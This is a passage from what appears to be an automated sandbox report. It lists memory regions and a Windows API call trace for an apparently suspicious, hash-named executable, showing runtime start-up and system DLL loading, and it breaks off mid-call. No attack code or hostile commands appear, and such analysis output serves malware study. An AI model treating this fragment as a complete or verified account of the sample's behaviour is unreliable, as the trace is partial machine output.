0x75b6cfff monitored = 0 entry_point = 0x759d17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 391 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 392 start_va = 0x758a0000 end_va = 0x758c6fff monitored = 0 entry_point = 0x758a58b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 393 start_va = 0x75b70000 end_va = 0x75b81fff monitored = 0 entry_point = 0x75b71441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 410 start_va = 0xd60000 end_va = 0xd6cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\setupapi.dll.mui") Region: id = 411 start_va = 0xdf0000 end_va = 0xdf2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 412 start_va = 0xea0000 end_va = 0xec5fff monitored = 0 entry_point = 0xea2f3b region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Thread: id = 1 os_tid = 0xe08 [0064.605] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3ef95c | out: lpSystemTimeAsFileTime=0x3ef95c*(dwLowDateTime=0xc711600, dwHighDateTime=0x1d8a92a)) [0064.605] GetCurrentThreadId () returned 0xe08 [0064.605] GetCurrentProcessId () returned 0xe04 [0064.605] QueryPerformanceCounter (in: lpPerformanceCount=0x3ef954 | out: lpPerformanceCount=0x3ef954*=2054349644778) returned 1 [0064.639] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0064.639] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0064.646] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpCharType=0x3ef190 | out: lpCharType=0x3ef190) returned 1 [0064.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef790, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0064.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef790, cbMultiByte=256, lpWideCharStr=0x3eeec8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0064.646] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0064.647] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x3eecb8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0064.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x3ef690, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿâ\\n]Ìø>", lpUsedDefaultChar=0x0) returned 256 [0064.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef790, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0064.647] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x3ef790, cbMultiByte=256, lpWideCharStr=0x3eeee8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꃯįĀ") returned 256 [0064.647] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꃯįĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0064.647] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿꃯįĀ", cchSrc=256, lpDestStr=0x3eecd8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0064.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x3ef590, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿâ\\n]Ìø>", lpUsedDefaultChar=0x0) returned 256 [0064.647] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x80) returned 0x4d5fd8 [0064.647] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1331130, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe")) returned 0x5f [0064.647] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x68) returned 0x4d6060 [0064.647] RtlInitializeSListHead (in: ListHead=0x1330d28 | out: ListHead=0x1330d28) [0064.647] GetLastError () returned 0x0 [0064.647] SetLastError (dwErrCode=0x0) [0064.647] GetEnvironmentStringsW () returned 0x4d60d0* [0064.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1415 [0064.647] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x587) returned 0x4d6be8 [0064.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1415, lpMultiByteStr=0x4d6be8, cbMultiByte=1415, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1415 [0064.648] FreeEnvironmentStringsW (penv=0x4d60d0) returned 1 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x98) returned 0x4d60d0 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1f) returned 0x4d5a50 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2b) returned 0x4d6170 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x37) returned 0x4d61a8 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3c) returned 0x4d61e8 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x31) returned 0x4d6230 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4d6270 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x24) returned 0x4d6290 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x14) returned 0x4d62c0 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xd) returned 0x4cf1e0 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1a) returned 0x4d5a78 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2e) returned 0x4d62e0 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x19) returned 0x4d5aa0 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x17) returned 0x4d6318 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xe) returned 0x4cf1f8 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x95) returned 0x4d6338 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x3e) returned 0x4d63d8 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1b) returned 0x4d5ac8 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1d) returned 0x4d5af0 [0064.648] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x48) returned 0x4d6420 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4d6470 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4d6490 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1b) returned 0x4d5b18 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x24) returned 0x4d64b0 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x29) returned 0x4d64e0 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1e) returned 0x4d5b40 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x6b) returned 0x4d6518 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x17) returned 0x4d6590 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0xf) returned 0x4cf210 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4d65b0 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x2a) returned 0x4d65d0 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x29) returned 0x4d6608 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x16) returned 0x4d6640 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x13) returned 0x4d6660 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x1f) returned 0x4d5b68 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x12) returned 0x4d6680 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x18) returned 0x4d66a0 [0064.649] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x46) returned 0x4d66c0 [0064.650] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4d6be8 | out: hHeap=0x4c0000) returned 1 [0064.650] QueryPerformanceFrequency (in: lpFrequency=0x3ef90c | out: lpFrequency=0x3ef90c*=100000000) returned 1 [0064.650] QueryPerformanceCounter (in: lpPerformanceCount=0x3ef904 | out: lpPerformanceCount=0x3ef904*=2054351448242) returned 1 [0064.651] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x8, Size=0x800) returned 0x4d6710 [0064.651] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0064.652] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x12ef070) returned 0x0 [0064.653] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x3ef8f8 | out: lpCPInfo=0x3ef8f8) returned 1 [0064.661] GetCurrentProcess () returned 0xffffffff [0064.661] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x3ef8bc, lpSystemAffinityMask=0x3ef8b8 | out: lpProcessAffinityMask=0x3ef8bc, lpSystemAffinityMask=0x3ef8b8) returned 1 [0064.661] GetCurrentProcess () returned 0xffffffff [0064.661] GetProcessAffinityMask (in: hProcess=0xffffffff, lpProcessAffinityMask=0x3ef8d0, lpSystemAffinityMask=0x3ef8cc | out: lpProcessAffinityMask=0x3ef8d0, lpSystemAffinityMask=0x3ef8cc) returned 1 [0064.662] GetStartupInfoW (in: lpStartupInfo=0x3ef8ec | out: lpStartupInfo=0x3ef8ec*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0064.663] GetModuleHandleW (lpModuleName="kernel32") returned 0x752b0000 [0064.664] GetProcAddress (hModule=0x752b0000, lpProcName="SetDllDirectoryW") returned 0x75340483 [0064.664] SetDllDirectoryW (lpPathName="") returned 1 [0064.664] GetProcAddress (hModule=0x752b0000, lpProcName="SetDefaultDllDirectories") returned 0x753d208a [0064.664] SetDefaultDllDirectories (DirectoryFlags=0x800) returned 1 [0064.664] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3e4774, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\05379ea4600304f51cffa8d1ee9e3b2931a69129f6bed14d45a500d966a71fca.exe")) returned 0x5f [0064.664] GetVersionExW (in: lpVersionInformation=0x3e4348*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xc56a5b, dwMinorVersion=0xfffffffe, dwBuildNumber=0x76f3019b, dwPlatformId=0x76f302ea, szCSDVersion="⫘L") | out: lpVersionInformation=0x3e4348*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0064.664] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0064.664] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\version.dll") returned 0x733a0000 [0064.855] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="version.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0064.860] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0064.860] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\DXGIDebug.dll") returned 0x0 [0064.860] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\DXGIDebug.dll" (normalized: "c:\\users\\keecfmwgj\\desktop\\dxgidebug.dll")) returned 0xffffffff [0064.860] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0064.860] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\sfc_os.dll") returned 0x74a20000 [0064.964] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="sfc_os.dll", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0064.964] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0064.964] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SSPICLI.DLL") returned 0x74a50000 [0064.965] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="SSPICLI.DLL", cchCount1=-1, lpString2="DXGIDebug.dll", cchCount2=-1) returned 3 [0064.965] GetSystemDirectoryW (in: lpBuffer=0x3e3458, uSize=0x800 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0064.965] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\rsaenh.dll") returned 0x73860000 [0065.205] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="rsaenh.dll", cchCount1=-1, 